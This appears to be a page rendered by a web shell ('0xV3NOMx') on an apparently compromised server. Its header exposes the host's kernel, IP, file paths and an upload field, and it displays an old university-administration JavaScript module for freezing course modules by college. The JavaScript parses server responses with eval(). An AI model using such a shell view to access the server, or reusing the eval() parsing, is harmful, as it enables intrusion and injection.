0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.191.189.119


Current Path : /var/www/oasis/js_old/
Upload File :
Current File : /var/www/oasis/js_old/freeze_module_at_university_college.js

/*
 *
 * PROGRAMED BY Natesha
 * FOR THE freezeModuleAtUniversityOrCollege list ENTRY FORM
 * DATE: 31/03/09
 * TIME: 1:15 PM
 *
 */
$g_fmac_total_row_count = 0;
function LoadfreezeModuleAtUniversityOrCollege() {
  $g_fmac_total_row_count = 0;
  $("#page_main_div").load(
    "../html_modules/freeze_module_at_university_college.html",
    function() {
      document.getElementById("display_module_name").innerHTML =
        "College/University Freeze";
      document.getElementById("module_name_for_save").value =
        "freezeModuleAtUniversityOrCollege";
      document.getElementById("is_add_edit").value = "Add";
      document.getElementById(
        "freeze_module_at_university_college"
      ).style.height = "420px";
      getDefaultHeadFooterLinks("Freeze Module at Univ/Coll");
      $("#error_msg").html("");
      $("#fmauc_module_colldeg_data").hide();
      $("#fmauc_module_colldeg_data").html("");
      $("#fmauc_degree_code").val("");
      $("#fmauc_degree_code_degree_name").val("");
      $("#fmauc_degree_code_degree_name").val("");
      $("#fmauc_college_range").val("");
      $("#fmauc_degree_code").focus();
      $("#print_row").hide();

      $.ajax({
        type: "POST",
        data: "type=",
        url: $host_url + "GetSubSubjectCategory.demo",
        success: freezeModuleAtUniversityOrCollegeDownData
      });
    }
  );
  $("#module_details_div").hide();
}

function freezeModuleAtUniversityOrCollegeDownData($responce) {
  $responce = eval("(" + $responce + ")");
  document.getElementById("fmauc_category_name").options.length = 0;

  for ($i = 0; $i < $responce.data.length; $i++) {
    $op = new Option($responce.data[$i]["Name"], $responce.data[$i]["Code"]);
    $op.id = $responce.data[$i]["Name"]; //specifying the id  for options
    document.getElementById("fmauc_category_name").options.add($op);
  }
}
function getFmacCollegeDegreeDetails($coll_code) {
  $.ajax({
    type: "POST",
    data:
      "college_code=" +
      $coll_code +
      "&degree=" +
      $("#fmauc_degree_code").val() +
      "&module=" +
      $("#fmauc_category_name").val(),
    url: $host_url + "getFmacCollegeDegreeDetails.demo",
    success: getFmacCollegeDegreeDetailsResponce
  });
}
function getFmacCollegeDegreeDetailsResponce($responce) {
  $responce = eval("(" + $responce + ")");

  if ($responce.error_code == 0) {
    $("#fmauc_module_colldeg_data").show();
    $("#fmauc_module_colldeg_data").html("");
    $("#fmauc_module_colldeg_data").html($responce.data.html_data);
    $g_fmac_total_row_count = $responce.data.total_count;
  } else {
    $("#fmauc_module_colldeg_data").show();
    $("#fmauc_module_colldeg_data").html("");
    $g_fmac_total_row_count = 0;
  }
}
function savefreezeModuleAtUniversityOrCollege() {
  if (trim(document.getElementById("fmauc_degree_code").value) == "") {
    alert("Please enter the Degree. Code");
    document.getElementById("fmauc_degree_code").focus();
    return;
  }
  $arr = new Object();
  for ($k = 0; $k < $g_fmac_total_row_count; $k++) {
    $arr[$k] = new Object();
    $arr[$k]["FCOLLCODE"] = $("#fmauc_FCOLLCODE_" + $k).html();
    if (document.getElementById("fmauc_FCSTATUS_check_" + $k).checked)
      $arr[$k]["fc_checked"] = 1;
    else $arr[$k]["fc_checked"] = 0;
    if (document.getElementById("fmauc_FUSTATUS_check_" + $k).checked)
      $arr[$k]["fu_checked"] = 1;
    else $arr[$k]["fu_checked"] = 0;
  }
  $arr = encodeURIComponent(JSON.stringify($arr));
  if (document.getElementById("fmauc_select").checked) $select_all = 1;
  else $select_all = 0;
  if (
    !document.getElementById("fmauc_select").checked &&
    !document.getElementById("fmauc_de_select").checked
  )
    $select_all = -1;
  $.ajax({
    type: "POST",
    data:
      "degree=" +
      $("#fmauc_degree_code").val() +
      "&select_all=" +
      $select_all +
      "&arr=" +
      $arr +
      "&module=" +
      document.getElementById("fmauc_category_name").value,
    url: $host_url + "savefreezeModuleAtUniversityOrCollege.demo",
    success: savefreezeModuleAtUniversityOrCollegeResponce
  });
}
function savefreezeModuleAtUniversityOrCollegeResponce($responce) {
  $responce = eval("(" + $responce + ")");
  alert($responce.data);
}
function checkAllFamuFc($id) {
  if (document.getElementById($id).checked) {
    for ($k = 0; $k < $g_fmac_total_row_count; $k++) {
      document.getElementById("fmauc_FCSTATUS_check_" + $k).checked = true;
    }
  } else {
    for ($k = 0; $k < $g_fmac_total_row_count; $k++) {
      document.getElementById("fmauc_FCSTATUS_check_" + $k).checked = false;
    }
  }
}
function checkAllFamuFU($id) {
  if (document.getElementById($id).checked) {
    for ($k = 0; $k < $g_fmac_total_row_count; $k++) {
      document.getElementById("fmauc_FUSTATUS_check_" + $k).checked = true;
    }
  } else {
    for ($k = 0; $k < $g_fmac_total_row_count; $k++) {
      document.getElementById("fmauc_FUSTATUS_check_" + $k).checked = false;
    }
  }
}